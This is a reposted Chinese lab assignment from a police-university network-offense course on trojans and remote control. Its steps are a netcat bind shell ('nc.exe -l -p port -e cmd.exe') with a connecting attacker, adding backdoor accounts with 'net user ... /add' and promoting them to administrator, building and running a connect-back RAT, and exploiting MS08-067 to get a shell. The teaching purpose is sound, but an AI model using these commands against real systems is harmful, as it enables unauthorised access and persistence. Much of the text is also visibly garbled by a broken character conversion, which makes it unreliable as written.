【实验报告】四恶意代码实验
學(xué)???號(hào)201421420040
?
中國人民公安大學(xué)
Chinese people’?public security university
?
網(wǎng)絡(luò)對(duì)抗技術(shù)
實(shí)驗(yàn)報(bào)告
?
| 實(shí)驗(yàn)四 |
| 惡意代碼技術(shù) |
?
?
?
| 學(xué)生姓名 | ?黃子龍 |
| 年級(jí) | ?14級(jí) |
| 區(qū)隊(duì) | ?二區(qū)隊(duì) |
| 指導(dǎo)教師 | ?高見老師 |
?
?
信息技術(shù)與網(wǎng)絡(luò)安全學(xué)院
2017年10月24日
?
實(shí)驗(yàn)任務(wù)總綱
2017—2018?學(xué)年?第?一?學(xué)期
一、實(shí)驗(yàn)?zāi)康?/strong>
1．通過對(duì)木馬的練習(xí)，使讀者理解和掌握木馬傳播和運(yùn)行的機(jī)制；通過手動(dòng)刪除木馬，掌握檢查木馬和刪除木馬的技巧，學(xué)會(huì)防御木馬的相關(guān)知識(shí)，加深對(duì)木馬的安全防范意識(shí)。
?
2．了解并熟悉常用的網(wǎng)絡(luò)攻擊工具，木馬的基本功能；
3．達(dá)到鞏固課程知識(shí)和實(shí)際應(yīng)用的目的。
二、實(shí)驗(yàn)要求
1．認(rèn)真閱讀每個(gè)實(shí)驗(yàn)內(nèi)容，需要截圖的題目，需清晰截圖并對(duì)截圖進(jìn)行標(biāo)注和說明。
2．文檔要求結(jié)構(gòu)清晰，圖文表達(dá)準(zhǔn)確，標(biāo)注規(guī)范。推理內(nèi)容客觀、合理、邏輯性強(qiáng)。
3．軟件工具可使用NC、MSF等。
4．實(shí)驗(yàn)結(jié)束后，保留電子文檔。
三、實(shí)驗(yàn)步驟
1．準(zhǔn)備
提前做好實(shí)驗(yàn)準(zhǔn)備，實(shí)驗(yàn)前應(yīng)把詳細(xì)了解實(shí)驗(yàn)?zāi)康摹?shí)驗(yàn)要求和實(shí)驗(yàn)內(nèi)容，熟悉并準(zhǔn)備好實(shí)驗(yàn)用的軟件工具，按照實(shí)驗(yàn)內(nèi)容和要求提前做好實(shí)驗(yàn)內(nèi)容的準(zhǔn)備。
2．實(shí)驗(yàn)環(huán)境
描述實(shí)驗(yàn)所使用的硬件和軟件環(huán)境（包括各種軟件工具）；
開機(jī)并啟動(dòng)軟件office2003或2007、瀏覽器、加解密軟件。
3．實(shí)驗(yàn)過程
1）啟動(dòng)系統(tǒng)和啟動(dòng)工具軟件環(huán)境。
2）用軟件工具實(shí)現(xiàn)實(shí)驗(yàn)內(nèi)容。
4．實(shí)驗(yàn)報(bào)告
按照統(tǒng)一要求的實(shí)驗(yàn)報(bào)告格式書寫實(shí)驗(yàn)報(bào)告。把按照模板格式編寫的文檔嵌入到實(shí)驗(yàn)報(bào)告文檔中，文檔按照規(guī)定的書寫格式書寫，表格要有表說圖形要有圖說。
?
任務(wù)一?利用NC控制電腦
?
?NetCat，具有網(wǎng)絡(luò)軍刀之稱，它小巧精悍且功能強(qiáng)大，說它小巧精悍，是因?yàn)樗能浖笮‖F(xiàn)在已經(jīng)壓縮到只有十幾KB，而且在功能上絲毫不減。
?
實(shí)驗(yàn)過程需要兩個(gè)同學(xué)相互配合完成：
?
步驟一：
?
???在受害者的機(jī)器?（同學(xué)A）
輸入下面的命令：
nc.exe?-l -p port -e cmd.exe ??進(jìn)入監(jiān)聽模式
?
?
?
步驟二：
在攻擊者的機(jī)器.（同學(xué)B）
輸入下面的命令：
nc ip??port //連接victim_IP,然后得到一個(gè)shell。?（需要截圖）
?
?
?
?
?
步驟三：
?
????在shell中，利用net user?用戶名?密碼?/add?，添加一個(gè)用戶，并在受害者的機(jī)器中使用?net user?命令進(jìn)行驗(yàn)證。（需要截圖）
?
?
?
?
?
?
?可以繼續(xù)通過命令行做一些事情。
?
任務(wù)二?利用木馬控制電腦
?
實(shí)驗(yàn)過程需要兩個(gè)同學(xué)配合：
?
步驟一：
?
??? 攻擊者的機(jī)器.?（同學(xué)A）
打開V2014.exe程序或則star RAT，這兩個(gè)木馬功能類似。
?
?
?
?
步驟二：
點(diǎn)擊菜單欄中的“服務(wù)生成”，在彈出的配置服務(wù)端中，配置回連IP地址（攻擊者IP）和端口號(hào)，并點(diǎn)擊“生成”按鈕，生成木馬服務(wù)端。
?
?
?
?
?
?
?
?
步驟三：
?
將生成的木馬可執(zhí)行程序拷貝到受害者的機(jī)器，并雙擊運(yùn)行。?
?
?雙擊運(yùn)行不占用cpu。？？
?
步驟四：
?
?
在控制端中查看木馬上線情況，并對(duì)以下功能每個(gè)進(jìn)行測試和截圖。?
?
?
?
?
?
屏幕控制，嘗試獲取桌面
?
會(huì)話管理，卸載對(duì)方的木馬。
?
任務(wù)三?通過漏洞獲取shell（合天平臺(tái)中做）?所有過程截圖寫博客
?windows ms08067 漏洞利用
在平臺(tái)中獲取shell之后，繼續(xù)利用攻擊機(jī)器使用
net user user pass /add
net localgroup administrators /add
命令向被攻擊的機(jī)器中添加賬戶，并提升為管理員
然后用rdesktop 10.1.1.130 登陸對(duì)方的遠(yuǎn)程桌面
?
?
?
?
?
?
?
??
?
?
?
轉(zhuǎn)載于:https://www.cnblogs.com/P201421420040/p/7751685.html
總結(jié)
以上是生活随笔為你收集整理的【实验报告】四恶意代码实验的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 《软件需求模式》阅读笔记04
- 下一篇： HDU2866 Special Prim